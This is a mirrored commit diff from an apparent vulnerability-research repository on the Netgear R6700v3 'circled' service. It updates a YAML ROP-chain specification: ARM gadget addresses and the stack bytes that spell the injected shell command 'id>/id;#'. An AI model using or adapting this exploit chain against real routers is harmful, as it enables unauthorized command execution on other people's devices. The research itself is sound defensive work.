mirror of
https://github.com/cyber-defence-campus/netgear_r6700v3_circled
synced 2026-08-09 12:29:06 +00:00
ASLR
This commit is contained in:
+11
-11
@@ -38,7 +38,7 @@ ropchains:
|
||||
default:
|
||||
- preconditions:
|
||||
mems:
|
||||
'[sp+32+0]': '0xb8' # pc = [sp+8*4] = 0x0000c9b8
|
||||
'[sp+32+0]': '0xb8' # pc == [sp+8*4] == 0x0000c9b8
|
||||
'[sp+32+1]': '0xc9'
|
||||
'[sp+32+2]': '0x00'
|
||||
'[sp+32+3]': '0x00'
|
||||
@@ -49,16 +49,16 @@ ropchains:
|
||||
['0x0000c9b8', '06 00 a0 e1', 'mov r0, r6', 'Gadget 1.0']
|
||||
- preconditions:
|
||||
regs:
|
||||
'r0': '0xbeffc290' # r0 = 0xbeffc104+396 = 0xbeffc290
|
||||
'r0': '0xbeffc250' # r6 == 0xbeffc0c4+396 == 0xbeffc250
|
||||
mems:
|
||||
'0xbeffc290': '0x69' # 'i'
|
||||
'0xbeffc291': '0x64' # 'd'
|
||||
'0xbeffc292': '0x3e' # '>'
|
||||
'0xbeffc293': '0x2f' # '/'
|
||||
'0xbeffc294': '0x69' # 'i'
|
||||
'0xbeffc295': '0x64' # 'd'
|
||||
'0xbeffc296': '0x3b' # ';'
|
||||
'0xbeffc297': '0x23' # '#'
|
||||
'0xbeffc298': '0x00' #
|
||||
'0xbeffc250': '0x69' # 'i'
|
||||
'0xbeffc251': '0x64' # 'd'
|
||||
'0xbeffc252': '0x3e' # '>'
|
||||
'0xbeffc253': '0x2f' # '/'
|
||||
'0xbeffc254': '0x69' # 'i'
|
||||
'0xbeffc255': '0x64' # 'd'
|
||||
'0xbeffc256': '0x3b' # ';'
|
||||
'0xbeffc257': '0x23' # '#'
|
||||
'0xbeffc258': '0x00' #
|
||||
instruction:
|
||||
['0x0000c9bc', 'b7 f2 ff eb', 'bl #0x94a0', 'Gadget 1.1']
|
||||
Reference in New Issue
Block a user